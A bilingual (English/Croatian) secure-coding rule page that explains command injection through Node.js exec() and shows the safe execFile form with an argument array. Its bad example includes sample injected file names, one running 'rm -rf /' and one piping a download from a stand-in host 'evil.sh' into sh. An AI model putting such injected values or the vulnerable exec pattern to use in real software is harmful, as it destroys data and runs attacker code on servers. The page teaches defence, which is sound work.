Rules Hub
Coding Rules Library
Rule priority, scope & exceptions
Use this to align rules with the senior-level structure (P0/P1/P2, scope, exceptions/tradeoffs).
Run external commands with argument arrays, never an interpolated shell string
Use execFile/spawn with shell:false and an args array; never build a shell command string from input.
Bad example
| 1 | import { exec } from 'node:child_process'; |
| 2 |
|
| 3 | function makeThumbnail(file: string) { |
| 4 | // ❌ input goes through a shell, metacharacters are interpreted |
| 5 | exec(`convert ${file} -resize 200x200 out.png`, (err) => { /* ... */ }); |
| 6 | } |
| 7 | // file = "x.png; rm -rf /" or "$(curl evil.sh | sh)" -> arbitrary command execution |
Explanation (EN)
exec() runs the command through /bin/sh, so shell metacharacters (; | && $() ` >) in the input are interpreted as shell syntax. An attacker controlling `file` achieves remote code execution on the server.
Objašnjenje (HR)
exec() pokreće naredbu kroz /bin/sh, pa se shell metaznakovi (; | && $() ` >) u ulazu interpretiraju kao shell sintaksa. Napadač koji kontrolira `file` postiže udaljeno izvršavanje koda na poslužitelju.
Good example
| 1 | import { execFile } from 'node:child_process'; |
| 2 |
|
| 3 | function makeThumbnail(file: string) { |
| 4 | // ✅ no shell; each arg is a literal token, separators can't escape |
| 5 | execFile('convert', [file, '-resize', '200x200', 'out.png'], |
| 6 | { shell: false }, |
| 7 | (err) => { /* ... */ }); |
| 8 | } |
| 9 | // Validate `file` against an allow-listed path/pattern too (defense in depth). |
Explanation (EN)
execFile/spawn with shell:false invoke the binary directly and pass arguments as a vector, so the OS never parses metacharacters. `file` is treated as a single literal argument even if it contains ; or $(). Combine with input validation on the path for layered defense.
Objašnjenje (HR)
execFile/spawn s shell:false pozivaju binarni program izravno i prosljeđuju argumente kao vektor, pa OS nikad ne parsira metaznakove. `file` se tretira kao jedan literalni argument čak i ako sadrži ; ili $(). Kombiniraj s validacijom putanje za slojevitu obranu.
Notes (EN)
Also applies to higher-level wrappers (execa, zx): use the array/tagged form, not a single interpolated string.
Bilješke (HR)
Vrijedi i za omotače više razine (execa, zx): koristi array/tagged oblik, ne jedan interpolirani string.
Exceptions / Tradeoffs (EN)
If you genuinely need shell features (pipes, globbing), keep shell:true but pass zero tainted data — build the command only from constants, or prefer a library binding instead of shelling out. Prefixing a value with '--' does not make shell:true safe.
Iznimke / Tradeoffi (HR)
Ako stvarno trebaš shell značajke (pipeovi, globbing), zadrži shell:true ali ne prosljeđuj nikakve nepouzdane podatke — gradi naredbu samo iz konstanti, ili radije koristi biblioteku umjesto pozivanja shella. Prefiks '--' ne čini shell:true sigurnim.